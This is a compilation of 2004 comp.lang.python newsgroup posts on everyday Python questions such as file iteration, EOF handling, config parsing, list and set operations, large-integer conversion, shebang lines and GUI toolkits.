References: <Eakvp5MXQnMAFwqT@at-andros.demon.co.uk>
	<403281B3.7E370347@engcorp.com>
	<7xlln1pfip.fsf@ruckus.brouhaha.com>
	<40328E21.E451AE5A@engcorp.com>
Message-ID: <7xznbh72xp.fsf@ruckus.brouhaha.com>

Peter Hansen <peter at engcorp.com> writes:
> I think the example I would have in mind is a comparison:
> 
> if a == []:
>     # do something
>     if b != {}:
>         a.append(b)
> 
> or whatever....  If the empty item
> is merely a temporary, to be used and discarded, then the apparent
> extra overhead of the call, and the less succinct syntax, lead me to
> think the short form is preferable.

But you suffer the overhead either way.  The {} syntax may be worse
than the function call syntax because it looks like it avoids the
overhead when it really doesn't.  The correct way to avoid the
overhead is with "if len(b) != 0: ... ".


From kent at springfed.com  Sun Feb 15 08:10:03 2004
From: kent at springfed.com (Kent Tenney)
Date: Sun, 15 Feb 2004 07:10:03 -0600
Subject: A Python equivalent of cfengine?
In-Reply-To: <402ed837$0$7074$ed9e5944@reading.news.pipex.net>
References: <zzxXb.3076$tU6.4660@reggie.win.bright.net>
	<402ed837$0$7074$ed9e5944@reading.news.pipex.net>
Message-ID: <ygKXb.3088$tU6.4476@reggie.win.bright.net>

David M. Wilson wrote:

> Kent Tenney wrote:
> 
>> Howdy,
>>
>> Any recommendations for automating
>> administrative tasks using Python?
> 
> 
> vim? *ducks*
> 

honk *geese*


From wweston at att.net  Sun Feb 22 21:12:38 2004
From: wweston at att.net (wes weston)
Date: Mon, 23 Feb 2004 02:12:38 GMT
Subject: Extract data from ASCII file
In-Reply-To: <3602cff7.0402220711.3f7ed46@posting.google.com>
References: <3602cff7.0402220711.3f7ed46@posting.google.com>
Message-ID: <qkd_b.32278$aH3.1014412@bgtnsc04-news.ops.worldnet.att.net>

Ren,
    If you go here:

http://www.python.org/doc/current/tut/node5.html#SECTION005120000000000000000

about half way down the page it talks about string slicing.

wes

Ren wrote:
> Suppose I have a file containing several lines similar to this:
> 
> :10000000E7280530AC00A530AD00AD0B0528AC0BE2
> 
> The data I want to extract are 8 hexadecimal strings, the first of
> which is E728, like this:
> 
> :10000000 E728 0530 AC00 A530 AD00 AD0B 0528 AC0B E2
> 
> Also, the bytes in the string are reversed. The E728 needs to be 28E7,
> 0530 needs to be 3005 and so on.
> 
> I can do this in C++ and Pascal, but it seems like Python may be more
> suited for the task.
> 
> How is this accomplished using Python?



From claird at lairds.com  Sat Feb 21 10:17:54 2004
From: claird at lairds.com (Cameron Laird)
Date: Sat, 21 Feb 2004 15:17:54 -0000
Subject: Python Productivity Gain?
References: <mailman.16.1077122875.27104.python-list@python.org>
	<403687e1$1@nntp0.pdx.net> <40368BF3.2FE82B1A@engcorp.com>
	<mailman.126.1077319302.27104.python-list@python.org>
Message-ID: <103etl21cvjaq2a@corp.supernews.com>

In article <mailman.126.1077319302.27104.python-list at python.org>,
Thomas Heller  <theller at python.net> wrote:
			.
			.
			.
>Hm, no, not hex.  This was an IM6100 microprocessor from intersil, a
>clone of the DEC PDP-8 on one chip.  The 8080 was too expensive for me.
>Around 1976..., built on a kind of wire wrap board - there were no
>prefabricated kits at that time.
			.
			.
			.
IMSAI actually announced its first product at the end of
'75 <URL: http://www.imsai.net/support/imsai_systems.htm >
but I think they were hard to come by.
-- 

Cameron Laird <claird at phaseit.net>
Business:  http://www.Phaseit.net


From merkosh at hadiko.de  Sat Feb  7 18:15:42 2004
From: merkosh at hadiko.de (Uwe Mayer)
Date: Sun, 08 Feb 2004 00:15:42 +0100
Subject: software design question
References: <c02ku4$8e0$1@news.rz.uni-karlsruhe.de>
	<c03ebl$av7$1@news.service.uci.edu>
	<c03g1u$mtu$1@news.rz.uni-karlsruhe.de>
	<c03h78$dfc$1@news.service.uci.edu>
Message-ID: <c03ris$c2t$2@news.rz.uni-karlsruhe.de>

Josiah Carlson wrote:

>> So the question is rather: how to make a better design?
[...]
> Pass what is needed.  If you can't pass what is needed when external
> module classes are initialized, then set the attribute later.
> 
> c1instance.attribute = value

Ok, that is a way of enabling the circular dependency, but that doesn't
really get rid of it. The main program still needs the module and the
module may now access parts from the main program using the passed
parameters or the later set attributes.

That was my first approach, passing what's needed. But if module1 delegates
some task to another module, then again all args must be passed to that
module and so forth. 
Now currently I've got about 7 such modules that may need to interact then I
end up in passing to each level of delegation an increasingly _huge_
parameter list and that's where I stopped thinking in that direction.

My current solution to this is to pass the instances that may need to be
publicly known as value in a key:value pair, stored in a dictionary. Thus
something like:

>>> import singleton
>>> single = singleton.Singleton()
>>> single['main'] 

returns the appropriate instance.

Ciao
Uwe


From wmwd2zz02 at sneakemail.com  Sun Feb 22 21:42:10 2004
From: wmwd2zz02 at sneakemail.com (Greg Ewing (using news.cis.dfn.de))
Date: Mon, 23 Feb 2004 15:42:10 +1300
Subject: Help With  EOF character: URGENT
In-Reply-To: <mailman.175.1077491415.27104.python-list@python.org>
References: <mailman.175.1077491415.27104.python-list@python.org>
Message-ID: <c1bpa4$1giqr8$1@ID-169208.news.uni-berlin.de>

dont bother wrote:
> Hi Buddies,
> I am facing this problem and I dont know what to use
> as EOF in python:

There's no "EOF character" in Python. When the end of a file is
reached, reading from it returns an empty string. To process
a file one character at a time, you can do

   while 1:
     c = f.read(1)
     if not c:
       break
     # process c here

In your case you seem to be dealing with words, so you can
take advantage of two Python features: (1) You can read
a line at a time with the readline() method. (2) You can
split a string into words with the split() method of strings.

   while 1:
     line = f.readline()
     if not line:
       break
     words = line.split()
     for word in words:
       # process word here

If you have a recent enough Python (>= 2.2 I think), you can
also iterate directly over the file, which will iterate over
its lines, so the above reduces to just

   for line in f:
     words = line.split()
     for word in words:
       # process word here

Note: The readline() method, and also "for line in f", returns
lines including the newline character on the end. That doesn't
matter here, because line.split() gets rid of all the whitespace,
but you need to be aware of it if you do other things with
the line. You can use

   line = line.strip()

to remove the newline if you need to.

-- 
Greg Ewing, Computer Science Dept,
University of Canterbury,	
Christchurch, New Zealand
http://www.cosc.canterbury.ac.nz/~greg



From list-python at ccraig.org  Wed Feb 18 12:51:37 2004
From: list-python at ccraig.org (Christopher A. Craig)
Date: 18 Feb 2004 12:51:37 -0500
Subject: File creation, polluted name space?
References: <102v4ge1ea5so9a@corp.supernews.com>
Message-ID: <t1woerwgtsm.fsf@kermit.wreck.org>

"Derek Rhodes" <rhoder at worldpath.net> writes:

> after I < from import os * > I can't seem to create a file
> by the method shown above.

Then don't from os import * :-)

The "from spam import *" construct is known to be susceptible to all
kinds of name space collisions and its use is generally discouraged.

Unless you _really_ know what you're doing and have a _really_ good
reason, either use "import spam" or "from spam import ham,eggs".  If
you have a really good reason, you may want to rethink it anyway.

-- 
Christopher A. Craig <list-python at ccraig.org>
"Unix-to-Unix Copy Program," said PDP-1. "You will never find a more
wretched hive of bugs and flamers. We must be cautious." - DEC Wars




From alf at calvin.fayauffre.org  Fri Feb 27 10:49:19 2004
From: alf at calvin.fayauffre.org (Alexandre Fayolle)
Date: Fri, 27 Feb 2004 15:49:19 +0000 (UTC)
Subject: python with SSL support on AIX 4.3
Message-ID: <slrnc3upnv.1ns.alf@largo.fayauffre.org>

Hello, 

For a customer, I need to compile python >=2.1 with ssl support on an
AIX 4.3 machine. Is the standard build proceudure  likely to work or are 
there any caveat I should be aware of? Or does someone know where I can
grab a precompiled version of this?

TIA

-- 
Alexandre Fayolle
LOGILAB, Paris (France).
http://www.logilab.com   http://www.logilab.fr  http://www.logilab.org
D?veloppement logiciel avanc? - Intelligence Artificielle - Formations


From mwilson at the-wire.com  Thu Feb  5 10:58:47 2004
From: mwilson at the-wire.com (Mel Wilson)
Date: Thu, 05 Feb 2004 10:58:47 -0500
Subject: Print function and spaces
References: <mailman.1237.1075981181.12720.python-list@python.org>
	<pan.2004.02.05.14.09.33.415528@mavd.de>
	<bvtfop$vs5l8$1@ID-111250.news.uni-berlin.de>
Message-ID: <3gmIAls/KHyB089yn@the-wire.com>

In article <bvtfop$vs5l8$1 at ID-111250.news.uni-berlin.de>,
"Diez B. Roggisch" <nospam-deets at web.de> wrote:
>> def PrintWithoutSpaces(*args):
>>     output = ""
>>     for i in args:
>>         output = output + i
>>
>>     print output
[ ... ]
>You function won't work on mixed-type args:
>
>PrintWithoutSpaces("a", 10)
>Traceback (most recent call last):
>  File "<stdin>", line 1, in ?
>  File "<stdin>", line 4, in PrintWithoutSpaces
>TypeError: cannot concatenate 'str' and 'int' objects
>
>
>A better way would be this:
>
>def myprint(*args):
>  print "".join([str(x) for x in args])

True.  Or just `output = output + str(i)` .
The `str(i)` is the vital part.

If the output string gets big, it will become plain that
`"".join`... shown above is faster.

        Regards.        Mel.


From hoel at gl-group.com  Wed Feb 18 04:32:31 2004
From: hoel at gl-group.com (Berthold =?iso-8859-15?q?H=F6llmann?=)
Date: Wed, 18 Feb 2004 10:32:31 +0100
Subject: Dr. Dobb's Python-URL! - weekly Python news and links (Feb 17)
References: <1035d0r9kdr824b@corp.supernews.com>
Message-ID: <seisi4pwb4.fsf@pc020549.dhcp.germanlloyd.org>

"Cameron Laird" <python-url at phaseit.net> writes:

...
>     In principle, comp.lang.python.announce announces all the great
>     Python-related software that's available.  Much never appears
>     there, though.  Among the jewels of the last fortnight:  Python
>     wrappers for the GNU Scientific Library and NOAA cartographic
>     toos, a pure Python DHCP server, an XHTML generator, and far too
>     much more ...
> 	http://pygsl.sourceforge.net/
> 	http://www.cdc.noaa.gov/~jsw/python/gmt/
> 	http://sourceforge.net/projects/pydhcpd/
> 	http://sourceforge.net/projects/hhtml/

I always get "Invalid Project" for
"http://sourceforge.net/projects/hhtml"? What's wrong with it?

Regards

Berthold
-- 
Dipl.-Ing. Berthold H?llmann   __   Address:
hoel at GL-Group.com           G /  \ L Germanischer Lloyd
phone: +49-40-36149-7374    -+----+- Vorsetzen 32/35    P.O.Box 111606
fax  : +49-40-36149-7320      \__/   D-20459 Hamburg    D-20416 Hamburg


From R.Byrom at rl.ac.uk  Tue Feb 10 08:05:09 2004
From: R.Byrom at rl.ac.uk (Byrom, R (Rob) )
Date: Tue, 10 Feb 2004 13:05:09 -0000
Subject: Parsing files
Message-ID: <A5AF6F04CF7FD311BC5700902773DDC701F65F07@exchange13.rl.ac.uk>

Hi,

 

Does anyone know of a neat way to read-in config files? At the moment I'm
using the ConfigParser module but I have to add sections to the config file
to make it parseable ie

 

[a-section]

 

param=a

etc

 

I want the parser to work without these sections. Is this possible ? If not
what do people recommend?

 

Any help/suggestions gratefully received,

 

Rob

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From claird at lairds.com  Wed Feb  4 01:32:56 2004
From: claird at lairds.com (Cameron Laird)
Date: Wed, 04 Feb 2004 06:32:56 -0000
Subject: newbie with a gui question
References: <1020nse8569lr70@corp.supernews.com>
	<slrnc20pe9.5dk.bignose-hates-spam@iris.polar.local>
	<1020q1dq34lt260@corp.supernews.com>
	<slrnc20rfp.5dk.bignose-hates-spam@iris.polar.local>
Message-ID: <10214goreocm12b@corp.supernews.com>

In article <slrnc20rfp.5dk.bignose-hates-spam at iris.polar.local>,
Ben Finney  <bignose-hates-spam at and-benfinney-does-too.id.au> wrote:
			.
			.
			.
>However, Tk widgets are fairly ugly and primitive; a very popular
>alternative is wxPython, which uses to the cross-platform wxWindows
>toolkit.
			.
			.
			.
Put a qualifier, like "some", in there somewhere, please;
Tkinter's Text and Canvas widgets are positive powerhouses,
arguably unmatched by any other general-purpose GUI toolkit.
I recognize that Tk widgets present several ... challenges, 
though.
-- 

Cameron Laird <claird at phaseit.net>
Business:  http://www.Phaseit.net


From peter at engcorp.com  Tue Feb 10 14:14:54 2004
From: peter at engcorp.com (Peter Hansen)
Date: Tue, 10 Feb 2004 14:14:54 -0500
Subject: approach to writing functions
References: <c09f8c$l2f$1@solaris.cc.vt.edu>
	<mailman.1402.1076396710.12720.python-list@python.org>
	<c0an8o$g7i$1@solaris.cc.vt.edu> <40290671.7A5864CA@engcorp.com>
	<slrnc2i6jh.7jp.joe@gate.notcharles.ca>
Message-ID: <40292DAE.FBC3872D@engcorp.com>

Joe Mason wrote:
> 
> Hee hee.  As the guy who disagreed with Terry before on philosophy, I'm
> going to agree with him now on practicals.  

Actually all three of us are agreeing on practicals then, because I 
wouldn't actually suggest anyone waste time chopping a little utility
like that up into many functions after it has already been written
and is working.

> There's no reason to split
> up this code into three or four functions.  

Agreed.  On the other hand, there's *excellent* reasons to write it 
as three or four functions in the first place, especially if one is
trying to learn how to write well crafted code.  You can't learn how
best to make use of "functions" (or any other software construct) by
just listening to others spout off about it... you gotta try it out 
yourself (advice to the OP).

If you can't see the distinction, I'll make myself clearer in a subsequent
message. :-)

> (If I were writing it for the first time, I might use
> that loop comprehension depending on how many commands there are.  It's
> a very useful shortcut if you're doing the same thing a lot, but it's
> one more layer of comprehension you have to look past to see what the
> code is doing.)

I dislike having many data-specific variables (e.g. "user", "password",
"address", "port", etc) kicking around if they are there only to hold 
data for a line or two but won't be used more than once.

In other words, if you have four things to retrieve, and will immediately
pass them on to a function (or in this case a string formatting operator)
that will use them in the same order, the simplest thing is just to 
assign them as a tuple never handle them individually.  That's why I
tended towards the list-comprehension approach above.

Chances are my own code wouldn't have ended up with that particular line
in that particular place, so I doubt in my own version of this I would
actually have had the same list comprehension.

-Peter


From eric at zomething.com  Thu Feb 19 00:11:30 2004
From: eric at zomething.com (Eric @ Zomething)
Date: Wed, 18 Feb 2004 21:11:30 -0800
Subject: python vs. Perl
Message-ID: <20040218211130.1171565848.eric@zomething.com>

> From: Chris Herborth <chrish at cryptocard.com> wrote

> What I _have_ been using Perl for over the last, oh, 7+ years, is complex 
> search and replace... it makes a fantastic sed replacement.
> 
> Over the last 9 years, I've been working mostly in SGML and XML, and having 
> a killer search/replace tool really makes life easier for tweaking things in 
> documents.


I clicked on a Perl related article:  http://snipurl.com/4lb0

Interesting.  Is this the earliest sign of the end of Perl's promenence?  If "Perl" thinks "Perl" needs major changes, maybe it is edging up on its evolutionary limit?

Nested Reg-Ex sounds interesting, though even the concept gives me a headache (I am imagining some very convoluted Perl code)

More pertinent to Python, what is this Parrot http://www.parrotcode.org/ (compiler?) engine, and what thought has been given to it in terms of advantages it might (or might not) bring to Python?  Would that confound the Python/C++ synergy?  Would it allow Python to run faster?  Is Parrot designed with true general intentions, or designed just for a better Perl?

I imagine Perl and Python running side by side, at the same speed, and this gradual but mass crossing over from the dark side...  and code, everywhere, I can read!

EP



From no at spam.invalid  Wed Feb 11 14:18:44 2004
From: no at spam.invalid (Russell E. Owen)
Date: Wed, 11 Feb 2004 11:18:44 -0800
Subject: tkSnack or other sound tool
References: <3d06fae9.0402110759.108e5b41@posting.google.com>
Message-ID: <c0dv6m$rh0$1@nntp6.u.washington.edu>

I'm not sure exactly what you mean by "can't control the duration...".
If you just want to call s.stop() at some specified time after starting 
the sound, then use "after", as in:

def play():
  s.play
  ...
  root.after(1000, stop)

If it's something more complicated, please explain.

I'll be curious to see how this discussion goes. I'm using snack to play 
simple sound files. On the whole it works, but sometimes I get snaps, 
pops and other oddities.

-- Russell

In article <3d06fae9.0402110759.108e5b41 at posting.google.com>,
 jmdeschamps at cvm.qc.ca (jmdeschamps) wrote:

>I'm trying to play programmed music by iteratively applying filter
>changes to a playing Sound object.
>
>It almost seem to work but i can't control duration of sounds???
>
>...
>s = Sound()
>
>filt = Filter('generator', 440.0)
>filt.configure(440, 1000, 00.7, "rectangle", 5000)
>
>def play():
>   s.play(filter=filt)
>   for i in range(100):
>      filt.configure(i+440)
>      
>def stop():
>   s.stop()
>...


From Holger.Joukl at LBBW.de  Wed Feb 25 09:18:33 2004
From: Holger.Joukl at LBBW.de (Holger Joukl)
Date: Wed, 25 Feb 2004 15:18:33 +0100
Subject: Memory Leak ['LBBW': checked]
Message-ID: <OF2B2CB932.A2F52747-ONC1256E45.004A4668-C1256E45.004E91A1@lbbw.sko.de>


>From this point of view, you never actually /destroy/ objects, you
just forget about them, and a __del__ method is a side-effect of
dropping the last reference to an object -- a slightly unnatural
action to have a side effect!

    This is obviously in contrast to C++, where you /do/ destroy
    objects (or in the case of local variables, it is clear when the
    object will be destroyed as a function of program flow).

I guess you are probably in the "reachable but not live" case of
memory leaks.

Instead of doing 'del alist' you might want to try 'del alist[:]' and
see if behaviour improves.

Cheers,
mwh

1) Aren?t  local variables destroyed as a function of program flow in
python, too?
At least if their refcount goes to zero (you do not hand a reference to
this local object
to the outside).

2) I am quite stunned by the del alist[:] thing:
>>> class foo:
...     def __del__(self):
...             print "foo.__del__"
...
>>> alist=[foo(), foo(), foo()]
>>> del alist[:]
foo.__del__
foo.__del__
foo.__del__
>>> alist
[]
alist[:] creates a shallow copy of alist, which is a new object. del then
decreases the refcount of this
temporary object, thus it is destroyed. But why is the original alist empty
after that, why are the
list elements destroyed?
Does that mean if a shallow copy of a list is created, the refcounts of the
elements in the list are not increased?

G
  Holger

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From jason at tishler.net  Tue Feb 17 19:46:20 2004
From: jason at tishler.net (Jason Tishler)
Date: Tue, 17 Feb 2004 19:46:20 -0500
Subject: mysqldb on cygwin
In-Reply-To: <web-9202501@b2.c.plasa.com>
References: <web-9202501@b2.c.plasa.com>
Message-ID: <20040218004619.GA1360@tishler.net>

On Tue, Feb 17, 2004 at 11:55:34AM +0700, dw wrote:
> does anyone knows how to install MySQLdb on cygwin?
>   
> - test device: MySQLdb 0.9.2.0 targz + cygwin 1.5.7-cr-0x9e + python

I would try the Cygwin mailing list -- you will probably get more
traction there.

Jason

-- 
PGP/GPG Key: http://www.tishler.net/jason/pubkey.asc or key servers
Fingerprint: 7A73 1405 7F2B E669 C19D  8784 1AFD E4CC ECF4 8EF6



From tjreedy at udel.edu  Wed Feb 25 12:22:22 2004
From: tjreedy at udel.edu (Terry Reedy)
Date: Wed, 25 Feb 2004 12:22:22 -0500
Subject: Fast File Input
References: <c1iit0$2jj$1@news01.intel.com>
Message-ID: <c1ilke$9rc$1@sea.gmane.org>


"Scott Brady Drummonds" <scott.b.drummonds.nospam at intel.com> wrote in
message news:c1iit0$2jj$1 at news01.intel.com...
> Hi, everyone,
>
> I'm a relative novice to Python and am trying to reduce the processing
time
> for a very large text file that I am reading into my Python script.  I'm
> currently reading each line one at a time (readline()), stripping the
> leading and trailing whitespace (strip()) and splitting it's delimited
data
> (split()).  For my large input files, this text processing is taking many
> hours.

for line in file('somefile.txt'): ...
will be faster because the file iterator reads a much larger block with
each disk access.

Do you really need strip()?  Clipping \n off the last item after split()
*might* be faster.

Terry J. Reedy






From No.Spam.mc at No.Spam.mclaveau.No.Spam.com  Fri Feb 20 09:28:25 2004
From: No.Spam.mc at No.Spam.mclaveau.No.Spam.com (Michel Claveau/Hamster)
Date: Fri, 20 Feb 2004 15:28:25 +0100
Subject: Python + Visual Basic
References: <54073b3d.0402200605.1e2f00d1@posting.google.com>
Message-ID: <c15dve$v0t$1@news-reader5.wanadoo.fr>

Hi !

I use Python, as COM object, from Paradox.  Paradox is better than VB, but
the principle is similar.

I made installations on almost a hundred stations, at ten customers.

The flexibility of Python, in this kind of case, is brilliant.

@-salutations
--
Michel Claveau




From bart_nessux at hotmail.com  Wed Feb 11 17:03:53 2004
From: bart_nessux at hotmail.com (Bart Nessux)
Date: Wed, 11 Feb 2004 17:03:53 -0500
Subject: sets and subsets
In-Reply-To: <c0e8g4$4fi$03$1@news.t-online.com>
References: <c0e4g3$r1$1@solaris.cc.vt.edu> <c0e8g4$4fi$03$1@news.t-online.com>
Message-ID: <c0e8sa$7gs$1@solaris.cc.vt.edu>

Peter Otten wrote:
> Bart Nessux wrote:
> 
> 
>>By using lists, I can create sets of number. Suppose I have three lists.
>>One list is the super-set, one is a set that contains all the numbers
>>(just like the super-set) and the last is sub-set of the super-set. For
>>example:
>>
>>a = [1,2,3,4,5]       # The super-set.
>>b = [1,2,3,4,5] # Looks just like the super-set, but it's not.
>>c = [2,4]     # A sub-set
>>
>>I'd like to remove 2 & 4 from set b BECAUSE they are present in set c...
>>this would make the sets look like this:
>>
>>a = [1,2,3,4,5]
>>b = [1,3,5]
>>c = [2,4]
>>
>>How do I test set c to find what it contains and then look at set b to
>>see if it contains any of those same numbers, and if so, remove them.
> 
> 
> You want set operations, so why would you use lists?

All my data are in lists:

inputFile = file('ips.txt', 'r')	#Super-set
include = inputFile.readlines()
inputFile.close()

# The file below is compiled manually by hand... add IPs to it
# whenever you want to exclude them from IP_protection.
readFile = file('excluded_ips.txt', 'r')	#Sub-set to exclude
exclude = readFile.readlines()
readFile.close()

include = [x for x in include if x not in exclude]	#Magic of Elaine

outputFile = file('pruned_ips.txt' , 'w')
for i in include:
    print>> outputFile, i,
outputFile.close()






From piet at cs.uu.nl  Thu Feb 26 05:04:34 2004
From: piet at cs.uu.nl (Piet van Oostrum)
Date: 26 Feb 2004 11:04:34 +0100
Subject: wxWindows changes name
References: <slrnc3lhvi.19b.bignose-hates-spam@rose.localdomain.fake>
	<480m30hd68ncg81if70n81h8tict03oda3@4ax.com>
	<wzy8qsfqe6.fsf@ordesa.cs.uu.nl>
	<mailman.62.1077653810.8594.python-list@python.org>
	<wzwu6b4b0k.fsf@ordesa.cs.uu.nl>
	<38ec68a6.0402251653.66ab16a9@posting.google.com>
Message-ID: <wzd68240nh.fsf@ordesa.cs.uu.nl>

>>>>> afriere at yahoo.co.uk (Asun Friere) (AF) wrote:

AF> I think you misuderstand the concept of 'genericity' as it applies to
AF> trademark law (though I should stress I don't have my law degree from
AF> a US institution, so there might be some differences there).  Perhaps
AF> I'm misreading you, but you seem to imply that because a word is in
AF> common use it cannot function as a trademark.  This is not so.

What I meant is that the word 'Windows' as a generic term (not as a
supposed trademark) was already in use before and during MS's use.

AF> Generally a trademark must be (in the terminology of my jurisdicition)
AF> 'sufficiently adapted to distinguish' the product from other products
AF> in its class.  The test is whether other vendors of that product would
AF> want to use that term in regard to that product.  Eg if you are
AF> selling fish the term 'ocean' wouldn't be sufficiently adapted to
AF> distinguish, but the term 'door' might be (ie you shouldn't be able to
AF> trademark 'Ocean Fish(tm),'  but 'Door Fish(tm)' should be fine.)
AF> Similarly you /shouldn't/ be able to trademark 'Digital Computers(tm)'
AF> (Aha!), but 'Gateway Computers(tm)' would seem to be OK.  It is
AF> arguable that 'Windows' is sufficiently adapted to distinguish one
AF> operating system from another, certainly it is far better than 'Disk
AF> Operating System,' sans the 'MS-.'

I think 'Windows' and 'Word' are in the same league as 'Ocean' for fish.
-- 
Piet van Oostrum <piet at cs.uu.nl>
URL: http://www.cs.uu.nl/~piet [PGP]
Private email: P.van.Oostrum at hccnet.nl


From bignose-hates-spam at and-benfinney-does-too.id.au  Fri Feb 13 16:43:25 2004
From: bignose-hates-spam at and-benfinney-does-too.id.au (Ben Finney)
Date: 14 Feb 2004 08:33:25 +1050
Subject: Another software design question: program-level globals
References: <KV8Xb.6707$PY.2127@newssvr26.news.prodigy.com>
Message-ID: <slrnc2qidc.967.bignose-hates-spam@iris.polar.local>

On Fri, 13 Feb 2004 18:43:54 GMT, Robin Munn wrote:
> OK, here's another software design question, one that's been bugging
> me for a while now. What do y'all think is the best way to handle
> program-level globals, such as configuration option -- especially in
> multi-module programs?

The first thing to do is: don't use globals.  The interface between
disparate parts of your code (functions, classes, modules, packages)
should be as explicit and discoverable as possible.

Often the simplest first step in eliminating globals is to wrap them up
in a class (such as ConfigOptions) as class attributes.  Other, more
elegant solutions may require refactoring the code.

-- 
 \       "I like to go to art museums and name the untitled paintings. |
  `\             'Boy With Pail'. 'Kitten On Fire'."  -- Steven Wright |
_o__)                                                                  |
Ben Finney <http://bignose.squidly.org/>


From bokr at oz.net  Sun Feb 22 23:22:29 2004
From: bokr at oz.net (Bengt Richter)
Date: 23 Feb 2004 04:22:29 GMT
Subject: strings with moreover of one million of characters
References: <mailman.32.1077140976.27104.python-list@python.org>
Message-ID: <c1bv65$aaa$0@216.39.172.122>

On Thu, 19 Feb 2004 08:13:29 +1100, "Delaney, Timothy C (Timothy)" <tdelaney at avaya.com> wrote:

>> From: Jos=E9 Carlos
>>=20
>> Is possible use strings with moreover of one million of characters?
>
>Yes. If you have enough memory, which shouldn't be a problem.
>
>> I try using int() but the program keep blocked.
>
>This is a completely separate issue. Presumably you are trying to =
>convert a string which specifies a *very* large integer into a python =
>long (which in 2.3 is done automatically by int).
>
>If you wait a very long time, and you have enough memory, then this =
>should work. But it will take a *very* long time.
>
>After you've done that, try multiplying or dividing by another very =
>large number ...
>
>Tim Delaney
>
If you have to do conversions, you can improve on brute force:

 >>> def pow10(p, cache={}):
 ...     try: return cache[p]
 ...     except KeyError: cache[p] = tmp = 10**p; return tmp
 ...
 >>> def bigs2int(s, small=10):
 ...     if len(s)<=small: return(int(s))
 ...     half = len(s)//2
 ...     return pow10(half)*bigs2int(s[:-half]) + bigs2int(s[-half:])
 ...

 Sanity check...

 >>> for s in [('1234567890'*3)[:x] for x in xrange(1,25)]:
 ...     print '%30s %30s' %(s, bigs2int(s))
 ...
                              1                              1
                             12                             12
                            123                            123
                           1234                           1234
                          12345                          12345
                         123456                         123456
                        1234567                        1234567
                       12345678                       12345678
                      123456789                      123456789
                     1234567890                     1234567890
                    12345678901                    12345678901
                   123456789012                   123456789012
                  1234567890123                  1234567890123
                 12345678901234                 12345678901234
                123456789012345                123456789012345
               1234567890123456               1234567890123456
              12345678901234567              12345678901234567
             123456789012345678             123456789012345678
            1234567890123456789            1234567890123456789
           12345678901234567890           12345678901234567890
          123456789012345678901          123456789012345678901
         1234567890123456789012         1234567890123456789012
        12345678901234567890123        12345678901234567890123
       123456789012345678901234       123456789012345678901234

 >>> import time
 >>> for lognc in xrange(11):
 ...     nc = 10**lognc
 ...     s = '1'+'0'*nc
 ...     t0 = time.clock()
 ...     ibig = bigs2int(s)
 ...     t1 = time.clock()
 ...     iint = int(s)
 ...     t2 = time.clock()
 ...     assert ibig==iint
 ...     print '%10s: %30.9f  %30.9f'%(nc, t1-t0, t2-t1)
 ...
          1:                    0.000078781                     0.000020952
         10:                    0.000436648                     0.000218743
        100:                    0.001541257                     0.000284114
       1000:                    0.007652646                     0.005485332
      10000:                    0.075087455                     0.488497983
     100000:                    1.986088459                    54.656944205
    1000000:                   59.682104658                  6587.106510993

(I took a long walk to let that last int conversion finish ;-)

I'll leave it as an exercise to optimize the setting for small ;-)
Anyway, you can make a similar approach to conversion in the other direction,
beating the builtin decimal print for really large numbers.

And you could do smarter things than I did above. Or at least I'm sure the Timbot could ;-)

Regards,
Bengt Richter


From opengeometry at yahoo.ca  Sat Feb 28 16:09:43 2004
From: opengeometry at yahoo.ca (William Park)
Date: 28 Feb 2004 21:09:43 GMT
Subject: \w in regular expression
References: <mailman.252.1077999263.8594.python-list@python.org>
Message-ID: <c1r02m$1lu7kl$1@ID-99293.news.uni-berlin.de>

Marcello Pietrobon <teiffel at attglobal.net> wrote:
> >>> p = re.compile(r'\W+')
> >>> p.split('This is a test, short and sweet, of split().')
> ['This', 'is', 'a', 'test', 'short', 'and', 'sweet', 'of', 'split', '']
> 
> At first I thought a typo:

It's correct.  No typo.

> In other word is Python re module not compatible with Perl ?

What answer were you expecting in Perl?

-- 
William Park, Open Geometry Consulting, <opengeometry at yahoo.ca>
Linux solution for data management and processing. 


From james at logicalprogression.net  Fri Feb 13 10:48:27 2004
From: james at logicalprogression.net (James Henderson)
Date: Fri, 13 Feb 2004 15:48:27 +0000
Subject: Hi All, have a  question
In-Reply-To: <200402121717.i1CHHgl1016108@apollo.megagate.com>
References: <200402121717.i1CHHgl1016108@apollo.megagate.com>
Message-ID: <200402131548.27443.james@logicalprogression.net>

On Thursday 12 February 2004 5:15 pm, Paul Metzger wrote:
> > If you type "python" in the command line, it opens the interpreter?
> >
> > If yes, you can put "#!/usr/bin/env python" in the first line
> > of the script.
> >
> > And remember, in either case, the second line *must* be blank.
> >
> > PD: The "subject" field in the mail is to write the subject
> > of the mail, ;)
>
> That worked, now may I ask what the /env does?

It looks for Python in your path and then runs it.

> And what difference it makes
> to it, since it works without it on 2 servers, and apparently has to have
> it on one?

Evidently two of your servers have the Python interpreter in /usr/bin and the 
other has it somewhere else.  The point of using env is that you cannot 
guarantee where Python will be installed.

James
-- 
James Henderson, Logical Progression Ltd.
http://www.logicalprogression.net/
http://sourceforge.net/projects/mailmanager/




From RobMEmmons at cs.com  Sun Feb 15 10:55:49 2004
From: RobMEmmons at cs.com (RobE)
Date: Sun, 15 Feb 2004 09:55:49 -0600
Subject: Python Productivity Gain?
References: <LaBXb.8774$g95.1612@fe3.columbus.rr.com>
Message-ID: <102v5ribgej3rfd@corp.supernews.com>

> In different articles that I have read, persons have constantly eluded to
> the productivity gains of Python. One person stated that Python's
> productivity gain was 5 to 10 times over Java in some in some cases. 

I have no data on this and can't say with respect to Java.  I can give 
my personal feeling and this is more compared to C.

I'd look at productivity in a few ways:

*  How many lines of code does it take.  More code lines really does 
mean longer to program and more chance of errors.
*  How hard it is to write code -- to be specific java and C have all 
these brackets which have to be tracked down... this does take time... 
though perhaps a good IDE handles that for you.
*  Complexity of errors possible -- for example in C (but maybe not so 
much in Java)-- un-initialized variables and memory leaks, etc are big 
problems.  Often very hard to find.  You often have to use complex 
debugging tools to test this sort of code an look for memory corruption.

My experience when writing an application is that all of these things 
are favorable for python.  You generate code fast, the syntax is such 
that you don't have to track down missing components like brackets, and 
when you write the code there are usually very few runtime errors -- 
except for logic errors -- which are usually obvious.

In terms of free/open environments python is also one of the best.

I do agree with some of the other posters -- actual productivity will 
depend on skill, and the power of the tools you use to build the app.  C 
and Java may have better commercial development tools and programs may 
be better at using these.

All in all though, I'm a python guy for many reasons.

Rob

P.S.  Sorry if you got more than one post--I'm having trouble with my
news client.


From noah at noah.org  Tue Feb 24 13:37:40 2004
From: noah at noah.org (Noah)
Date: 24 Feb 2004 10:37:40 -0800
Subject: Tkinter: Any way to flush events without blocking?
